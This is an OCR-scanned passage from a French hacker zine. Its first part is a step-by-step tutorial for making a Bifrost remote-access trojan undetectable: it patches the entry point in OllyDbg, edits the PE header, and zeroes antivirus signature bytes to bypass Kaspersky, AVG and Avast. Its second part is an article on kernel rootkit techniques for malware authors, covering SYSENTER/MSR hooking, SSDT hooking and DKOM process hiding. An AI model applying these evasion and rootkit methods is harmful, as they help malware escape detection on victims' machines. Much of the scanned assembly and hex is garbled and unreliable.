SBEC Moy EBF, ESP

S2EC 44 SUE ESF, 44

=1 FUSH ESI

FF1S 181@4888| CALL DWORD PTR DS:[<&%KERMELZZ2.GetCommany kernel32.GetCommandl ineR
SEFE Mol ESI, ERE

SHEG MOV AL,.BYTE PTR DOS:[ESI]

55] DE @8

AR Ne @R

Rentrez PUSH 1 et cliquer sur Assembe, vous devez obtenir ceci :

BE4EFEF 1
BR4BFEF2
BE407EF2
BE4EA7EFS
HE4EFEFE
BE4ETEFS
BR4B7EFE
BR4E7EFC
BR4BFFEZ
BE4E7FES
BE407FBE
FARAATFART

515 ] OB &&

Ba OB G&

el 8l FUSH 1

=1 FUSH _EEF

SBEC MOU EEF,ESP

23EC 44 SUE ESF,d44

=] PUSH ESI

FF1S 12184066 CALL DWORD PTR DS: [<&KERMEL22.GetCommand kerne |22, GetCommandlineR
2BFG MO EST,ERX

2RBE Mou AL,BYTE PTR DS:[ESI]
[515] DE &8

AR MR AR

Positionnez vous maintenant a la ligne 00407F06 et rentrez ces instructions a la suite :

00407FO6
00407FOT

Q0407F0O8
00407F0G
00407F10

Le JMP renvoie a la ligne 00407C9E comme si dessous qui est le debut de la pile.

2]




5 oo

| Lk Lo
AE4EFCER

SEEC
BE4EFCIC 22EC 44
BE4EFCIF =1
BE4EFCE| | . FF1E 121848686
BE487FC25 | . SBFR
AE4EFC2E) | « SHEG
AE4E7CIH 3C 22
HE4EFCAC) | .75 14
BE4EFCIE | > 2A46 A1
BE4EFCAL &
BR4EFCAZ 24ca
AE4EFCAS || T3 B84
BE48FCAG|| « 3C 22
BE4EFCAS| | .~75 F4
AE4EFCAAR|] > BB3E 22

Vous devez obtenir ceci au final

BE4ETEF 2 aa

BE4ETEFS &H @1
BA4ATEFE =1

BE4ETEFE SBEC
BE4ETEFS S3EC 44
BE4E87EFE &

BE4ETEFC FFLE 15184860
BE4ETFES SEFA
BE4ETFES SHEE
BR4A7FES|  ~E9 93FOFFFF
BE4E7TFEE &l B2
BE4ETFED &A B2
BE4a7FEF 206

EE4ETF 18 5]

B8487F11 {515

BE4EYF12 [sla}

FU=H EBF
MU EEF,ESF
SUE ESP, 44
PUSH ESI
CALL OWORD PTR DS:[<&KERMELZ2.GetComman
MOW ESI,ERA
MOV AL.EBYTE PTR D3:[ESI]
CHP AL, 22
JHE SHORT Seruer.d84@7CEZ
MOW AL, BYTE PTR DS:[ESI+11]
IMC ESI

TEST AL,AL

JE SHORT Server.B8487CAA
CHMP AL, 22

JME - SHORT Seruver. 88487°C9E

CHF BYTE PTR DS:[ESII, 22

OB @8

FUSH 1

FUSH EEF

MaL EEF,ESP

SUE ESF, 44

FUSH ESI

CALL DWORD PTR DS:[«<&KERMELZZ. GetComman
MaL ESI,ERX

MOy AL,.BYTE FTR D5:[ESI]
JHMP Server. 88487 C9E
FUSH 2

R EAX F I e

nde de Bifrost

CiGet Commandl iner

kerne l32. GetCommandl inerd

Modifions maintenant le PE header de notre server. Pour retourne au point d'entrée, faite Clic droit > Go to > Origin . Cela nous
rameéne a notre point d'entrée orignal , de la méme facon, nous allons modifier les instructions. Pour cela ,on vas déja ajouter 12 NOP

a la suite en commencant par la ligne du

Vous devez obtenir ceci

Ba4E7Ca4| . SE
BE4E7CEs( . C9
HAR4EFCEE| . C2 18688
[ElEET: g9 =15}
HE4EFCEA 26
BE46E7CEE 26
BE4EFCEC 26
BE4E7CE0 =l5]
BE4E7CEE 26
HE4E7CEF 28
BE4ETCE 28
HE4E7C 1 28
HE4E7C2 26
BE4E7CI2 28

EE4E 794 S8
BA4E7CIS HASE FESARE3C
BE4E7C9E| | P 2275 14
EE4EFCIE| > 8A4E6 @1
BE4E7CAL|| - 46
BE4E7CHS 24CH
BE4E7CHS ~rd B4
HE4ETCHES 3C 22
HE4EFCHS b ol
Ba4E7CAA|| * 8@3E 22
BE467CAD ~ ¢S5 @0
HE4E7CAF | * 46
BEa4E7CES ~EE @A
HEa4E7vCEZ(] = BC 28
aada7CEd|| 1 E Be

point d'entrée qui est 0040789.

FOP ESI

M
RAOD BNMTE FTR DS:[EBX+2CAS3AFE], CL
AMD DH,EBYTE FTR SS5: [EEF+14]
Moy AL, BYTE PTR DS: [ESI+11]
IMC ESI

TEST AL,AL

JE SHORT Serwverz.@848vCAA
CHF AL,zZ2

JHE SHORT Servers.88487C3E
CHF EBYTE FTR DS5:[ESI],zZ2
JHE SHORT Serverz.d84607CEC

INC ESI
JME SHORT Serverz.@@487CEC
CHP AL, 28

JLE SHORT Seruer. BE4ETCES

=

B B

Retournez a la premiere ligne qui est 00407C89 et mofidiez I'instruction NOP par MOV
EAX,321 puis finissez par une serie de PUSH EBP.

Vous devez obtenir ceci

BE4BTCE4| . BE FOF ESI
BE407CES| . C9 LEAUE
GE4GTCEE| L G2 16ER RETH_ 16
EBE 21030888 | MOU EAX, 321
BE4OFCEE|  ES FUSH EEF
BR4BFCOF| 55 FUSH EEF
BE4E7CoE| S FUSH EEF
BE4E7CEL|  EE FUSH EEF
BE407CaE| 55 FUSH EEF
BE4E7CES|  EE FUSH EEF
BR4BTCa4| B FUSH EEF
BE4OPCOE| BOSE FESABSSC| OO0 BVTE PTR 0S: [EEMCSCRasiFel, ol
BR4E7CEE || 7 2275 14 AND DH,BYTE FTR 55:[EBF+14]
ga4a7CoE || > BR4E Bl MOU AL, BYTE PTR DS:[ESI+1]
=T | T IHC ESI
ga4a7CRz || - g4ce TEST AL, AL
88407CA4 || w74 B JE_SHORT ServerZ. BEdETCAR

ll gl
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Pour enregistrer les modifications : Clic droit > Cooy to executable > All Modifications et Copy all.

Pour enregistrer Votre server modifié : Clic droit > Save File

Voila, notre modification asm avec Ollydbg est terminée, il est indispensable de fermer ollydbg pour la suite des opérations.
Nous allons maintenant renommer le point d'entrée avec PE Editor.

Lancer le et charger votre server dedans.

[ PEditor 1.7 ] by yoda & M.o.D. = (i rﬁ!

[zeazing | ' o1
aader browse

~File Iinfa p—

AT R 00007083 || Mackine Type aC tasks

f I

Image Base: ]Elndmmn Hidintaos S Sl IW

Dptional H Time Diabe Stamg: 47750417 toclion plit
I sader i

[ break'n’enter
Haze of Code: inmm o Painber ko Semnbol Table: |IIlmmm -

BaseniDala  |00003000 | Mumberaf Ssmbols: [oococaco e
[ | Siee of Optonal Hoader: [ooE Checkan

Size of |

ot tontas [T || Crmtonies. [0 et
Sechion Alignment: ]UIIIEI'HIIIJ o | applp changes
File Aigrment:  |00000200 about
L e ]W sections directony it

{Hold pour mouze on & edit bos for mone infios...

Le point d'entrée d'origine se trouve en haut a gauche 00007C89 ,c'est ici que nous mettons notre nouveau point d'entrée.
En asm nous avions comme ligne de notre nouveau point d'entrée 00407EF3

Pour notre Nouveau point d'entrée sous PE Editor , il faut changer le 4 par 0 ce qui devient 00007EF3

Rentrez se nouveau point d'entrée a la place de I'autre puis cliquez sur Apply Change.

D . i

1 J Yepp...the file was updated successFully |

Le server est terminé et fonctionnel.

[ Bifrost v1.2d 1 users connected ) = =] 4]
Azsigned Name I I I Computer/User MName I “ersion I C I E I Iclle I Ping I Active Window:

I ]Default_58940d99 127004127001 nARTAMNL T oo pl.2d u] 15 Bifrost w1.2d 1 users connected
« |
options | Buider | About | Update | Upload Extension| [Listening on port &1, b
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Plus de la moitiée des antivrus ont déja été vaincus, mais une bonne partie résite encore quand meme , continuons donc notre
investigation dans l'indétéctabilitée.

Voyons maintenant ce que ¢a donne auprés de virus total.

3.2 Détection et modification d'une signature virale

La plus grande partie des antivirus détectent un malware grace a une signature
Hexadecimal, cette signature varie d'un antivirus a l'autre.

Quelques exemples flagrants pour commencer

Editez votre server avec Hex Workshop et regardez au début du code , nous pouvons
voir une phrase tres distincte qui signifie que le PE a été modifié .

LI L e




R Ak F OO ",

Effectuez quel

ques petits changements.

RS i T LT =

gooopzZog |(000A 0000 0074 0OOOC OOOC OOOO QOO0 OOO0O0 Qo000 ooodf..... T e
O0000Z21C (4000 0040 ZAZA Z2AFXA ZAZA ZAZA ZAZA 2A27A ZAZE Z04D|@. .[@exxerxxxxxxrex L
o0000Z30 (eFe4 B966 BYE3 B174 B96F BEZ0D 6475 2070 BFEY BEV4|odification du point
oooooZ44 (2064 2765 BEY4 7265 B520 7081 7220 5472 3030 7073 d'entree par Trilps
oooooZsg (2048 7474 7034 2FZF 4F74 e8RS 722D 5072 BFeA 6563 | Http: - ~Other-Projec
ooo000Zec |742E bERS 7420 Z2AZA ZAZA ZAZA ZAZA ZARAE ZAZE ZACA|L.net sexxxxxerrxxxs
oooooZs0 (0000 0000 0000 OO000 0000 0000 0000 0000 0000 0000 ... e e e neennenns

0aooDzZ0s8 |000a 0000 aoon

gooopz1c ; PhAN 2 [T (7 3¢ 3¢ 3¢ 36 36 36 3 3¢ 36 3 I 3 3 I I} 3
0aoooz30 Modified with FE
0aoooz44 : ditor 1.7

0a000258 ] B M.o.D. =
0O000Z2580 |0000 0000 ODOO 0000 Q000 0000 0000 0000 Q000 0000 .. u e s e e nennnnns

.IIII-II.I.“L-----IH-I-I-I-I-IIII_III

Avec cette modification , vous venez de Bypass Kaspersky qui ne le détécterat plus.
Continuons et occupons nous d'AVG maintenant qui utilise aussi la détection de signature.

EIEIEIEIEIEIE-’-1|EECE 448F EEEENEEISYs EFCE 445F 0000 0000 o000 EIEIEIEI|..D...D
Remplacez Rich par ce que vous voulez

EI_QEIEIEIEIEHEECE 448F 4CeF 7665 BECE 448F 0000 0000 0000 |:||:||:||:||..D.LDVE|..D .........

Vous venez aussi de Bypass AVG maintenant :] .
Vérifions tous ca sur notre site préféré virustotal

IIIIW“m..I.I
[N T e o
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La detection de signature et sa modification , I'explication avec Avast

La méthode du split consiste a retrouver la signature que Avast détécte.
Supposons que le code de notre server soit ca et que la signature d'Avast soit 6B8E B5A4.

0o00z1g4
ooonz19a
o000z 1ac
oooozico
0000z1D4
0000zZ1Es
oooozirc
ooonzz1o
ooonzzz4
000nzz3s
oooozz4c
oo0ozzen
00002274
ooonzzaa
ooonzzac
0000z2zeo
ooonzzc4
oooozzDa
oooozzEC
ooooz300

LBF 4
755E
EECS
61E2
9F93
g336

JebBz
6809
13BC
CDEE
gB72
co1lp

Fo95a
F4F2
4EZF
52DC
4EZD
9A07

3DZF
404E
EB7FF
DD1a
&577
03ce
C7B3
9EGA
1049
7502
BD3F
2404
3Da3
C11F
COFF
F567
JAB4
333c
J4E3
EB475

4204
ARZB
DE&8
E34D
9A74
9242
2930
9724
0DaA
046E
7303
oI R
DDEY
EFST
DD&d
20D7
BOEZ

C137
D914
AT7FB
DBC3
ED44
C534
COAE

0877
aric
EEZ3
DCD&
C72A
a0Dc
EEEE

DBESE
011E
BS3D
7314
JFESG
B3Ch

FEOB
56548
43F1
) 0
AE1F
0871
674D
ESAp
4EAB
9F&aD
73Ch
ABAF
g3ED
0891
CeSE
coso
78FB
J26E
DEZD
3802

ABT4
4AE3
DEAD
J4C1
3580
29B6
25EE
EB4g0
DbCa
Faa0
AGBE
6aCc

7BOA
590C
0aD4
3137
154D
F1ER
113
4C3D
9COE
CBOE
5672
C254

ADRT
6EF5SD
1BC7
FFS&
G227
BO45
nozo
T2h7
FABF
EBFS
3D73
CD76
7431
528F
C2F2
BF3C
DeC1
DBCE
DFAS
175E

Pour retrouver cette signature, nous allons déja passer toute la moitié basse des offset a zéro et tester I'exe auprés de notre antivirus

Avast, si il gueule, c est que I'on as pas éffacé la signature , si il

ooonz1s4
0o0onz19s
0000z 1ac
oooozico
0o0o0z1D4
0o0o0z1Es
ooonzirc
oooozz10
ooonzzz24
oo0o0zz3g
ooonzz4c
0oo0zzen
00002274
0o000zz38a
ooonzzac
0000zzg0
ooonzzc4
o0o0zzDha
ooonzzEC
00002300
00002314
00002323

AEF 4
Fo e
EECS
E1E2
9F33
8356
3208
E4352
114D
OFAD
DABY
i e
DA4C
aoooa
aooaoa
aooon
aooon
oooo
oooo
oooo
oooo
oooo

3eB2
6309
13BC
CDEE
8872
Cc01D
Dags
FFA3
oD49
E9BA
942E
09ES
92a2
oooa
oooa
oooa
oooa
0ooa
0ooa
0ooa
0ooa
0ooa

F99a
F4F2
4EZF
52DC
4EZD
9A07
9C4E
13E6
7DA8B
2A35
Bacz
3BAZ
3D79
noooo
nooo
nooo
nooo
nooo
nooo
nooo
nooo
nooo

3DZF
404E
EYFF
pb1d
&577
03Ce
C7E3
9EBA
1049
7302
BD3F
2404
3Dag
aoao
ooao
ooao
ooao
ooao
ooao
ooao
ooao
ooao

Az2C4
BAZR
DBES
E34D
QA74
92472
2930
9724
0DAA
046E
73043
FAEE
DDEY
oooo
0oaoo
oooo
oooo
0ooo
0ooo
0ooo
0ooo
0ooo

G137
D914
&7FB
DeC3
ED44
C534
COAE
[)a15]

7BOA
390C
0aD4
3137
154D
ooao
ooaoo
ooaoo
ooaoo
o0ooo
o0ooo
o0ooo
o0ooo
o000

OB77
971c
BE73
DCDe
C72a
90Dc
EEEE

DESS
011E
B53D
7314
3FES
B3Ce
0szo
8245
Be3a
ZBED
533D
32C3
DADD
oooo
oooo
oooo
oooo
oooo
oooo
oooo
oooo
oooo

7E0S
5658
43F1
35E2
AE1F
0971
674D
E5S46
4EAB
9FaD
73ChA
LBAF
33ED
aoaa
aoaa
aoaa
aoaa
ooao
ooao
ooao
ooao
ooao

AB74
4AR3
DEAD
J4C1
3380
oooa
oooa
oooa
oooa
0oooo
0oooo
0ooa
0ooa
0ooo

BART
BF5D
1BCY
FFS&
g§227
EO45
ooza
7287
FABF
EBFSY
3073
CD76
7431
oooo
oooo
oooo
oooo
oooo
oooo
oooo
oooo
oooo

Enregistrer le résultat dans un endroit du PC qui n'as pas d'exclusion au niveau de I'Av.

gueule pas ,c est qu'on I'a effacé.

Avast vas s'emballer et nous trouver le malware ce qui est normal car la signature est toujours visible.

Mettez a nouveau les octets originaux et recommencez en mettant les octets du haut a zéro et ainsi de suite jusqu'a tant que vous
tombiez sur les octets incriminés qui sont 6B8E B5A4 ,le but est de dégrossir jusqu'a trouver la signature. Je trouve cette méthode
un peut fastidieuse a mon gout et en fouinant sur le net, j ai trouver un petit tool qui remplie tres bien cette fonction.




T Y F O R
Hidetecabis ae sios:

il signaturezero - [ Indetectables.Conuir ] - [ By Thor] -

nemalll | B paas]C B RellenZEu'n s

G"'"’aﬁw'ﬁ" Dmﬁmm

Bz fitmns:
" Entodo el archwvo.
& Enfre los marcadores

o =
Crear aichivas]  Mostrar fmaz |

i~ Probar defeccion
Paia esta opcion debes achivarla protacoidn en iampo real de b artivins

Inteakar Busca :|

clevendas——————— Olpciones

B Parerellna d= 0 ID WDocuments and Seltings\administstewrtBursaut i ouveau

I | Mi 4 pesmits evchii ef drectorin g Sipnatur=Zeso

B CobeaeraPE i+ Dacimal ¢ Hexadscima Boirar colerica d Dii_|

B Fare ariginal [ieectonia donde ouarder laz partes temparafes: _Cembiar Dil‘l

bl - T = B =t = R

Salval a bt B
_Sabvarand |

o=l

1. Charger le server

2. Mettre les optocodes a Zero

3. Enregistrer le server terminé

4. Remettre la Valeur d'origine des optocodes
5. Test le server auprés de I'Av

C'est le méme principe que la méthode expliquer avant, les curseurs nous servent a nous positionner dans le code.

Vous paramétrez déja Avast avec comme exclusion SignatureZero.exe et votre server.exe

Pour le paramétrage de SignatureZero, cochez Hexadecimal et séléctionnez le répertoire qui va étre utilisé pour tester le server, dans

mon cas , le Bureau.

+ Dpcione

(" Decimal (* Hexadecimal e e e I

Directonio donde guardar las partes termporales: Camnbiar Ciir I

/N

[T Mi&Y permite excluir el directonio de SignatureZero

Bougez les curseurs pour que le changement est lieu au niveau de I'affichage.

Je viens de charger le server dans SignatureZero avec Abrir archivo et je cliques sur

Probar pour un test de la détection.

A e D | E hastar TD E

Rellenar con 0's

Guardar archivo | Dechace Cambios I

- Ficbar deteccion

Fara esha opcion debes activie |la pioteccion ey bermpo neal de by anthans

Detectado

b=
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Vous délimitez une zone avec les curseurs , puis vous cliquer sur Rellenar Con 0's , la partie entre les curseur est devenue rouge se
qui signifie que toute cette partie a les offset a zéro , puis cliquez sur Probar pour tester.

Abrir archive Desde 43F4 E Kl I'.rF'm E Rellenar con 0

Guardar archivvo | Dieshacer Cambios j

[~Prabar deteccion
Para asta opoion debes activar la probeccadn an tampo rad de b anbivin

Prcbar No detectado

Possibilitées de résultat
1. Indétécté, c'est que la signature se trouve dans la partie entre les deux curseur qu'on a mis a zero.
2. Déctécté, c'est que la signaure se trouve en dehors des optocodes mis a zéro entre les deux curseurs.

Pour mon test , la signature se trouve dans ma zone en rouge , je clic sur Deshacer Cambios pour remettre le offset a leur valeur
d'origine.

Vous pouvez cliquer plusieurs fois de suite sur Rellenar con 0', le tool garde un historique des modifications.

Il faut vraiment dégrossir le plus possible, au final, vous trouverez le bout de code incriminé.

Abir archivo Desils 1451-'-1 E Fasgher 5242 E Reflenar con @'s I Absir archivo Diesde |2FE0 E bt |AFET E Rellenar con B's,l
Guardar archivo T I Guardar archivo l Diashaces Cambios I

. ~Probar daleccion
[ sl : Fara esta apcian M&sadhaiaplmiﬂﬁmﬁmnlaaldamm:lm
Faia esla opcoon debes schvar s proteceidn en liempo real de lu anlhius
[ Puobar | No detectado
No detectado

Nous venons d'identifier presisement la signature et I'effacer, j'enregistre le résultat en cliguant sur Guardar archivo, qu'on vas
renommer " Server Bifrost UD Avast.exe" par exemple. Comparons maintenant notre nouveau server avec l'ancien et voyons se que
ca donne sous Hex Workshop.

% Server Bifrost
00004F4C | 3809 3873 873C E484 Z14E
O000D4F68 | 2100 BDD1 OAZE BAEC 856A 83B9 2326 C41A AS27 B7A1 7991 9191 BA27 2035(1...
00004F84 |AACS BEC4 2622 48BF 1CBE AD2A 189 BA2e 151B 3B33 B0S2 2F05 BYEL F269|....&"H....

00004FAD| 1353 FDCE C226 ASC3 26F3 2D6B BALE C356 ABB9 S7E3 F592 BBS0 9FDE BES4|[.5...5..5.

00004FBC |DEB9 55CE C2B4 2988 S61A BOBB 13D2 CC1D 8787 2B1A4 GEV6 492A 8BCT 7578|..U...) V....eswvw..nvl
00004FD8 |E92D 7810 2F32 12F4 OBTE 0OC3A CALD 8DE1 BA1Z2 CDDF 3723 3594 ZA14 OABG|.
O00D4EF4 | 1IEAL DEAS B4Z4 BDB? 6ASF 032D B91F SCDO A276 EE9D 6AD6 3A9D 0916 DADG £
00005010 | 1ABF AC8A4 40BF 309D CBEE 495C DeCC EFCB 8233 F3BA 4B3D SABA C178 DBS1|..1.
NONNSN2C INASN NT4R PROF 52AF A97F CEAN ONRC CASS DRRF FRANS AZN4 ADI0D N2ET JACAL. ..

B Server Bifrost U Avast =
ODD04F4C [ 3809 3673 EEAD BDOL 8730 Cl3a E4B4 EC7D PEBE ABEE PB4 3085 BBSA 214E
D0D04FEE | 2100 EDD1 OAZE BAEC B56A 83B9 2326 (413 AG27 BTAL 7991 9191 BAZT 2035(1...
O0D04FE4 |AACS BECA 2622 46BF 1CBE AD2h 1B96 BA26 151B 3B33 BOSZ 2FO05 BYEL FZad|..
O0O004FAD | 1953 FDCE £226 ASCY 26F3 2D68 B91E ©356 ABBS 57E3 F592 8BS0 9FDE BES4|.5...5..5.
00004FBC |DEES SSCE C2B4 2988 S6lA BOBE 1302 CC1D 8787 981k 6ETE 492k BBCT 7578(..0...3.

ODOOAFDE |B9Z0 7810 2ZF3Z 12FA OBTE D034 CAL0 BDBL BE1Z CODF 3723 3594 ZAld OABS|.
O0D04FF4 | 1EA1 DFAE E474 EDEF 6ASF 032D B91F SCD0 AZ76 EESD GA0DE 3A9D 0916 OADE
00005010 | 1ABF 6C08A 40BF 309D CBBE 4950 DeCC EFCH 8233 F3BA 4B3D BABA C17§ DESL|..1.8,
NANNSN2C | NASH N14R PANE S2AF A97F CFGD ONRM CASS OBAF FROS AZD4 ARIN 02ET 7A0al. ..

Conclusion

SignatureZero vient de modifier le code hexadécimal de I'offset 00004F60 en les
mettant a zéro ,cette solution marche , le tout est de trouver une équivalence
convenable si 00 ne marche pas en remplacement. Pour notre cas, sa a trés bien
marché, nous venons de Bypass Avast et aprés test, le server fonctionne toujours tres
bien.
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KPCR se remet au sport : Visite guidée du kernel land Windows
pour les h4x0rs-codeurs-de-rootkits débutant

Prologue écrit sous stupéfiant

Au commencement il y avait Dieu, mais il s'emmerdait
sévére alors il créa KPCR, ce dernier s'emmerda
encore plus sévere car Dieu c'est juste une tantouze
avec un corps super secure et sans orifices donc on ne
peut pas le fingerprint ou le pénétrer. Alors Dieu créa
les hommes qui créerent les pc pour amuser KPCR.
KPCR était censé devenir un 1337 qui coderait sans
répit pour s'occuper. Il n'en fut rien, la faute a un jeune
homme au corps ectomorphe non sans rappeler celui
du serpent, du nom d'OverclOk qui conduisit KPCR sur
irc. Depuis ce jour KPCR ne fit que troller et n'écrivit
plus a propos de l'informatique. Jusqu'a ce jour ou je
me décide enfin a m'armer de mon pénis, de mon
cerveau et de mes dix doigts pour réécrire a propos de
Windows.

Par KPCR

.IIII-IIIIIMIIIHIHIIII_III

Prologue Normal :

On m’a souvent demandé ce que je trouvais
intéressant dans le kernel land windows. Peu de gens
étaient convaincus que ce soit vraiment passionnant.
Je décide donc, profitant de ce projet de zine pour
proposer une visite du kernel land de windows et de
ses faiblesses. Le but ici n’est pas de faire une
surenchere de niveau technique mais de faire
découvrir a un plus grand nombre certains éléments
du kernel land windows, et montrer que bosser a ce
niveau pour des malwares peut s'avérer tres
intéressant et varié.

Connais l'adversaire et surtout connais toi toi-méme
et tu seras invincible. Sun Tzu

Connais Windows et balance dans leurs dans la gueule
un low kick rotatif et tu roxxeras. KPCR

| 1-.1'.11'.n iy

ul‘ll'i *.m“M.
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Introduction : pourquoi s’intéresser au kernel land quand I'user land se fait
si friendly ?

Si deux chemins s'offrent a toi, choisis le plus difficile. Proverbe bouddhiste.

Il fut un temps ol la programmation de malware était bien moins prise de téte qu’aujourd’hui et la notion d’indétection n’était
que survolé car, il faut le dire, les malwares ne couraient pas les rues. Mais tout a augmenté dans le monde de I'informatique,
aussi bien en positif qu’en négatif. Les antivirus et tout le tintouin ont donc du devenir de plus en plus attentif au systéme, aux
modifications qui lui sont apportés, aux exécutables lancés ...

Inutile de dire que cela n'arrange pas nos affaires. Il parait donc logique d’aller dans des voies plus méconnues et plus profonde
dans I’espoir d'étre UD.

Mais ne le cachons pas, il y a également une part de curiosité et d’envie de contréler toujours plus d’éléments. Nous serions
vraiment bétes de nous en priver apres tout ! Tout au long de cet article je vais parfois utiliser des outils tels kd ou la wdk, ils
sont tres faciles a trouver sur google et tous gratuits, profiter en !

Commencons la visite

Ok, les gars, je serai votre guide pour la visite. Nous irons aux lieux permettant de répondre au mieux a vos questions. Vous étes
donc 5 pour faire la randonnée avec moi, tapzl, tapz2, tapz3, tapz4 et tapz5. Commencons... que vous voulez vous savoir, et
par conséquent, que visiterons nous ?

userl : On mange quand ?

KPCR : STFU

user3 : Tu sux ?

KPCR : Nan mais c’est quoi ces randonneurs trolleurs ? Du sérieux !

user2 : Bon ok, est ce que beaucoup de choses sont traités dans le kernel land de Windows ?

KPCR : Enormément, si I'on veut schématiser au maximum, on peut dire que l'user land se contente d’envoyer le boulot au
kernel land, comme un chef de projet délegue le travail a différentes personnes suivants leurs qualités.

userd : Mais pourtant quand on code en VB, ou en C basique avec des api Win, on est bien en user land alors que se passe-t-il,
tu nous racontes de la merde dude ?

KPCR : Pas du tout. C'est ¢a la bogossitude de Windows, si on utilise par exemple WriteFile, contenue dans kernel32.dll, et que
I'on désassemble cette dll, avec Ida que j'apprécie pour ce qui est disasssembling de dll par exemple, on peut voir que cela
meéne a un call qui lui-méme nous emmeéne a une autre dll, ntdll.dll, pour appeler non plus WriteFile mais NtWriteFile, qui
elle est une API Native. Bref, on arrive a I'endroit de la dIl pour NtOpenFile mais ce n’est encore pas fini, en effet une
instruction ASM va étre utilisée, un SYSENTER, c’est une instruction assez importante donc je vais détailler son fonctionnement
et son but. Elle a pour but d’amener a une routine ring0, KiSystemService, qui permet, elle de retrouver I'adresse de la
fonction que I'on veut faire utiliser, il va aller chercher dans la SSDT. Nous reviendrons a cela en détail plus tard mais la il est
I'"heure du premier point h4x0r de cet article en expliquant le fonctionnement de SYSENTER.

Le point h4x0r n°1 : SYSENTER HOOKING (modification de MSR)

Je disais donc que SYSENTER était une instruction assembleur clé car elle permet la liaison entre I'user land et le kernel land, ce
qui est essentiel pour touts nos chers programmes et leurs fonctions, APIs, toussa toussa. Reprenons I'exemple de WriteFile, il a
donc besoin pour étre lancé d’aller jusqu'a la SSDT qui est en ring0, mais on ne passe pas en ring0 comme ca, car des
changements sont effectués et encore faut-il savoir ou aller ! Pour cela SYSENTER va utiliser une notion x86 assez connue, les
MSR, diminutif de Model Specific Register, qui contiennent des adresses, ces MSR sont utilisés pour des manipulations au niveau
du proco.

En Il'occurrence SYSENTER utilise trois MSR : MSR_SYSENTER_ESP, MSR_SYSENTER_CS et MSR_SYSENTER_EIP. Ceux qui
connaissent I'assembleur devineront vite que ces msr contiennent des adresses de registres. Rappelons donc que le registre Cs
contient I'adresse de I’'endroit ou sont les instructions asm a lancer, que le registre esp avec sp pour Stack Pointer indique donc
le sommet de la pile et enfin I'eip IP signifiant Instruction pointer contient I’adresse de la prochaine instruction a exécuter, dans
notre cas iFastCallEntry. Et la vous vous dites, « Pitin ¢a serait bien si on pouvait modifier le MSR_SYSENTER_EIP pour que ¢a
pointe vers une autre instruction que KiFastCallEntry, une instruction a moi comme c¢a on exécuterai notre code en ring0 ». Et
bien on peut. Grace a ...
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NtDebugSystemControl :

NiSystemDebugControl{
DEBUG_CONTROL_CODE ControlCode,
PFYOID InputBuifer,

ULONG InputBafferLength,

FYOID OutputBuaffer,

ULONG OutputBufferLength,

PULONG ReturnLength

Js

Cette APl a de nombreuses utilités, elle permet a la base le debugging d’éléments kernel land, et donc de lire et agir sur de
nombreuses données, dont les msr. A noter que cette API peut étre intéressante a manipuler dans des optiques de forensic mais
c’'est un autre sujet. ..

Pour votre coding vous aurez besoin du typedef de la structure MSR.
typedef struct _MSR_STRUCT {

DWORD MsrNum; // MSR number
DWORD NotUsed; // Never accessed by the kernel

DWORD MsrlLo, // IN (write) or OUT (read): Low 32
bits of MSR

DWORD MsrHi, // IN (write) or OUT (read): High 32
bits of MSR

} MSR_STRUCT,

Que j'ai trouvé dans ce code http://archives.neochapsis.com/archives/vulnwatch/2004-g1/att-0041/xploit_dbg.cpp

C’est une manipulation en somme trés intéressante et ou il suffit d'utiliser NtSystemDebugControl. Et vu que nous sommes dans
un esprit « white h4t 4 ev4 » je donne le moyen de détecter cette action, il suffit avec le kernel debugger d’effectuer une lecture
du MSR_SYSENTER_EIP (rdmsr a I’'adresse du msr) pour voir si I'eip pointe toujours vers KiFastCallSystemEntry ou non. Revenons
a nos moutons. Avant d’expliquer le principe du SYSENTER hooking je vous expliquais que le long trajet d’une fonction s’arrétait
a la SSDT.

Un peu de cours sur la SSDT ne fait pas de mal. Et le cours est contenu dans ..

Le point h4x0r n°2: SSDT Hooking

Il'y a quelques temps j'avais déja écrit un article sur le SSDT Hooking qui était complet et expliquait bien ce qu’est la SSDT.
Cependant il peut étre intéressant de rajouter que certains anti-rootkits peuvent apparemment étre bernés en utilisant un trick
supplémentaire, je vous laisse juge en allant ici http://www.rootkit.com/newsread.php?newsid=922

Bon les randonneurs, maintenant que j'ai répondu a votre question tout en dérivant a mort du sujet pour vous apportez un
maximum de connaissances avec vous d’autres questions ?

user5 : Il y a beaucoup d’informations contenues dans le ring0 je suppose ?

kpcr : Oh que oui. Sur absolument tout ce que tu peux imaginer. Prenons un exemple tout béte, lorsqu’un programmeur ou un
logiciel comme le gestionnaire de fin de tache veut obtenir diverses informations, il utilise I'api NtQuerySystemInformation ou
(son equivalent ring0 en Zw*). Et bien cette api native n’échappe pas a ce que je vous ai expliqué plus haut, avec ntdll, les
sysenter et tout le tintouin, a la différence que le trajet ici ne s’arréte pas a la SSDT, on va ensuite interroger
ExpGetProcessinformation qui va ensuite aller parcourir des listes sur divers sujets pour vous ramener les informations
demandées. Et c’est avec ce sujet que j'introduis ..

g ' s
]


http://www.rootkit.com/newsread.php?newsid=922
http://archives.neohapsis.com/archives/vulnwatch/2004-q1/att-0041/xploit_dbg.cpp

Le point h4x0r n°3: le DKOM
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Il'y a deux lignes je vous expliquais que des systemes de listes existaient en kernel land pour diverses informations. Il serait
donc utile de pouvoir modifier ces listes pour ensuite pouvoir cacher des informations aux yeux des utilisateurs et logiciels. Pour
cela on va utiliser le DKOM, abréviation de Direct Kernel Object Manipulation. J'avais rédigé pour la section réservée d’europa
security un mini article/tutoriel sur le concept de DKOM avec un exemple. Il vous aidera a comprendre le DKOM.

Le voici :

I-Le DKOM c'est quoi ?

"Tout d'abord DKOM ¢a veut dire quoi ?"

-DKOM est I'abréviation de Direct Kernel Object Manipulation.
"Ok, mais a quoi ca sert pere Castor ?"

-Cela consiste a manipuler directement les objets du kernel. Un
monde sans loi ou regne la terreur car on manipule de
nombreuses choses non documentées inutile donc de dire qu'il
faut agir sur une machine virtuelle et non sur son os principal. et
de bien observer ce que I'on va modifier pour ne pas avoir de
mauvaises surprises.

"Encore plus concretement ca sert a quoi ?"
- On s'en sert principalement pour cacher des choses :

L'exemple le plus simple et également le connu est de cacher un
processus (nous verrons cela en détail tout a I'heure source a
I'appui) aux yeux de la plupart des utilisateurs, des
connaissances étant ensuite nécessaire pour trouver le
processus.

-On peut également envisager de cacher des LKM en modifiant
la double liste chainée PsLoadedModuleList. : On trouve le
MODULE_ENTRY du LKM que l'on veut hide et on modifie les
pointeurs des MODULE_ENTRY qui précédent et succedent et
c'est good car quand on veut récupérer la liste des mod chargés

on utilise NtQuerySystemInformation ou
ZwQuerySystemInformation avec un
